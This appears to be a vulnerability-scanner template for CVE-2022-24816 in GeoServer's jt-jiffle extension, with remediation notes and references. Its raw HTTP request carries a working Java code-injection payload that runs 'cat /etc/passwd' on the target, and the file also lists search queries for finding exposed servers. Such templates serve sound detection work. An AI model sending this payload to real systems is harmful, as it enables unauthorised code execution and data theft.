83 lines
4.2 KiB
YAML
83 lines
4.2 KiB
YAML
id: CVE-2022-24816
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info:
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name: GeoServer <1.2.2 - Remote Code Execution
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author: mukundbhuva
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severity: critical
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description: |
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Programs run on GeoServer before 1.2.2 which use jt-jiffle and allow Jiffle script to be provided via network request are susceptible to remote code execution. The Jiffle script is compiled into Java code via Janino, and executed. In particular, this affects downstream GeoServer 1.1.22.
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remediation: 1.2.22 contains a patch that disables the ability to inject malicious code into the resulting script. Users unable to upgrade may negate the ability to compile Jiffle scripts from the final application by removing janino-x.y.z.jar from the classpath.
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reference:
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- https://www.synacktiv.com/en/publications/exploiting-cve-2022-24816-a-code-injection-in-the-jt-jiffle-extension-of-geoserver.html
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- https://github.com/geosolutions-it/jai-ext/security/advisories/GHSA-v92f-jx6p-73rx
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- https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a366da4f965fef38da1cb
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- https://nvd.nist.gov/vuln/detail/CVE-2022-24816
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-24816
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cwe-id: CWE-94
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epss-score: 0.87966
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epss-percentile: 0.98337
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cpe: cpe:2.3:a:geosolutionsgroup:jai-ext:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 1
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vendor: geosolutionsgroup
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product: jai-ext
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shodan-query: /geoserver/
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fofa-query: app="GeoServer"
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tags: cve,cve2022,geoserver,rce
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http:
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- raw:
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- |
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POST /geoserver/wms HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/xml
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<?xml version="1.0" encoding="UTF-8"?>
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<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
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<ows:Identifier>ras:Jiffle</ows:Identifier>
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<wps:DataInputs>
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<wps:Input>
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<ows:Identifier>coverage</ows:Identifier>
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<wps:Data>
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<wps:ComplexData mimeType="application/arcgrid"><![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316]]></wps:ComplexData>
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</wps:Data>
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</wps:Input>
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<wps:Input>
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<ows:Identifier>script</ows:Identifier>
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<wps:Data>
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<wps:LiteralData>dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /etc/passwd").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**</wps:LiteralData>
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</wps:Data>
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</wps:Input>
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<wps:Input>
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<ows:Identifier>outputType</ows:Identifier>
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<wps:Data>
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<wps:LiteralData>DOUBLE</wps:LiteralData>
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</wps:Data>
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</wps:Input>
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</wps:DataInputs>
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<wps:ResponseForm>
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<wps:RawDataOutput mimeType="image/tiff">
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<ows:Identifier>result</ows:Identifier>
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</wps:RawDataOutput>
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</wps:ResponseForm>
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</wps:Execute>
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- "ExceptionInInitializerError"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100ba08444758ab7ef866f9e6960be9674d84f53c34c5384e9411e95ce31265cca702207c0812b3eebc0b8ce2ce1a03ed90650540afdc47ce09a05bb504ce860f7b4f6c:922c64590222798bb761d5b6d8e72950
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